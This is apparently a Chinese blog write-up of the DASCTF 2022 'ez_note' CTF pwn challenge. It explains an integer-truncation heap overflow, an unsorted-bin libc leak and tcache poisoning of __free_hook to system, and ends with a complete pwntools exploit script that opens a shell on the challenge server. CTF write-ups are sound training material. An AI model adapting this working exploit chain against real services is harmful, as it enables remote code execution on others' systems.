DASCTF X CBCTF 2022 九月挑战赛 ez_note WriteUp

这题拖了挺久的,因为一些知识点还不是很明白。

分析过程

checksec 保护全开

[*] '/mnt/e/sec/dasctf/ez_note/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

溢出点

检查大小和申请堆块时,long类型转int和unsigned int的截断。

写入堆块时,long类型读取。

gbl_size[2 * size_idx] = myRead();  // long
if ( (int)gbl_size[2 * idx] <= 127 || (int)gbl_size[2 * idx] > 1024 ) // long to int
*((_QWORD *)&notes + 2 * v2) = malloc((unsigned int)gbl_size[2 * idx]); // long to unsigned
note[read(0, note, gbl_size[2 * idx] - 1LL)] = 0;   // read as long

泄露 libc

这里泄露libc利用切割堆块造成堆块重叠。

  1. 利用溢出篡改第二个堆块大小,使第二个堆块大小满足largebin(切割发生在largebin),然后释放。
  2. 申请一块内存使切割后剩下的堆块与之前申请的堆块发生重叠

此时第二个堆块带着篡改的header进入 unsorted bin 中。

申请 0x80 大小堆块,切割篡改的0x4b0大小堆块。

篡改的堆块先进入unsorted bin中,然后整理进入large bin中,被取出切割掉0x90大小,剩下刚好到第三个堆块位置。

此时,第三个堆块在 unsorted bin 中处于释放状态,fd和bk指针指向unsorted bin,同时可以通过之前申请的note2读到,用gnol3师傅的话说,处于一种既死又活的状态,hhh...

fd 和 bk 指向的unsorted bin在main_arena 结构体内部,与 main_arena 存在固定偏移,同样与 libc 基址存在固定偏移。

因此,泄露该地址即可计算得到 libc 基址。

参考 Unsorted Bin Leak

    # leak
    add(0x80, b'overflow')   # 0
    add(0x80, b'note1')      # 1
    add(0x200, b'note2')     # 2
    add(0x200, b'note3')     # 3
    add(0x80, b'note4')      # 4

    delete(0)
    # z()
    # 堆溢出覆盖改size
    payload = b'A'*0x80+pack(0)+pack(0x4b1)
    add(0x100000080, payload)  # 0
    # z()
    delete(1)
    # z('b _int_malloc')

    # 切割堆块,使头结点落在note2堆块
    add(0x80, b'note1')  # 1
    # z()
    addr = unpack(show(2)[:6].ljust(8, b'\0'))
    log.success('leak addr: '+hex(addr))

Get Shell

利用 tcache poisoning,修改free hook指向system,然后释放一个"/bin/sh"块Get Shell。

    # tcache poisoning
    free_hook = libc_base + libc.sym['__free_hook']
    log.success('free hook: '+hex(free_hook))
    system_addr = libc_base + libc.sym['system']

    add(0x80, b'countholder')
    delete(5)
    delete(1)
    delete(0)
    payload = 0x80*b'a' + pack(0) + pack(0x91) + pack(free_hook)
    add(0x100000080, payload)
    # z()

    add(0x80, b'give back')
    # z()
    payload = pack(system_addr)
    add(0x80, payload)
    # z()

    delete(add(0x80, b'/bin/sh'))

get-shell

Exploit

from pwn import *

debug = False
local_path = './pwn'
remote_path = 'node4.buuoj.cn'
remote_port = 28501
file = ELF(local_path)
libc = ELF('./libc-2.31.so')
context.binary = local_path

if debug:
    io = process(local_path)
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', '-w', '0','sp', '-V', '--title', 'gdb', 'bash', '-c']
    # context.terminal = ['cmd.exe', '/c', 'wt.exe', 'bash', '-c']
    context.log_level = 'debug'
else:
    io = remote(remote_path, remote_port)

def z(a=''):
    if debug:
        gdb.attach(io, a)
        if a == '':
            raw_input()
    else:
        pass

def itob(num):
    return str(num).encode()

def menu(option):
    io.sendafter(b'Your choice:', itob(option))

def add(size, content):
    menu(1)
    io.recvuntil(b'Note ID:')
    idx = int(io.recvline(keepends=False))
    io.sendafter(b'Note size:', itob(size))
    io.sendafter(b'Note content:', content)
    return idx

def delete(idx):
    menu(2)
    io.sendafter(b'Note ID:', itob(idx))

def show(idx):
    menu(3)
    io.sendafter(b'Note ID:', itob(idx))
    io.recvuntil(b'Note content:')
    content = io.recvline(keepends=False)
    return content

def quit():
    menu(4)

def exp():
    # leak
    add(0x80, b'overflow')   # 0
    add(0x80, b'note1')      # 1
    add(0x200, b'note2')     # 2
    add(0x200, b'note3')     # 3
    add(0x80, b'note4')      # 4

    delete(0)
    # z()
    # 堆溢出覆盖改size
    payload = b'A'*0x80+pack(0)+pack(0x4b1)
    add(0x100000080, payload)  # 0
    # z()
    delete(1)
    # z()

    # 切割unsorted bin堆块,使头结点落在#2堆块的con位
    add(0x80, b'note1')  # 1
    # z()
    addr = unpack(show(2)[:6].ljust(8, b'\0'))
    log.success('leak addr: '+hex(addr))

    unsorted_offset = 0x1ebbe0
    # unsorted_offset = 0x1ecbe0
    libc_base = addr - unsorted_offset
    log.success('leak libc base: '+hex(libc_base))
    # z()

    # tcache poisoning
    free_hook = libc_base + libc.sym['__free_hook']
    log.success('free hook: '+hex(free_hook))
    system_addr = libc_base + libc.sym['system']

    add(0x80, b'countholder')
    delete(5)
    delete(1)
    delete(0)
    payload = 0x80*b'a' + pack(0) + pack(0x91) + pack(free_hook)
    add(0x100000080, payload)
    # z()

    add(0x80, b'give back')
    # z()
    payload = pack(system_addr)
    add(0x80, payload)
    # z()

    delete(add(0x80, b'/bin/sh'))

    io.interactive()

if __name__ == '__main__':
    exp()

疑问点

这次主要问题集中在leak部分,也反映了我基础不扎实,回头再复习一哈

  • 切割堆块的知识点

  • 各个bin之间的关系

    • 什么时候放到unsorted bin?
      • 切割后剩余堆块
      • 刚释放的堆块
暂无评论

发送评论 编辑评论

|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇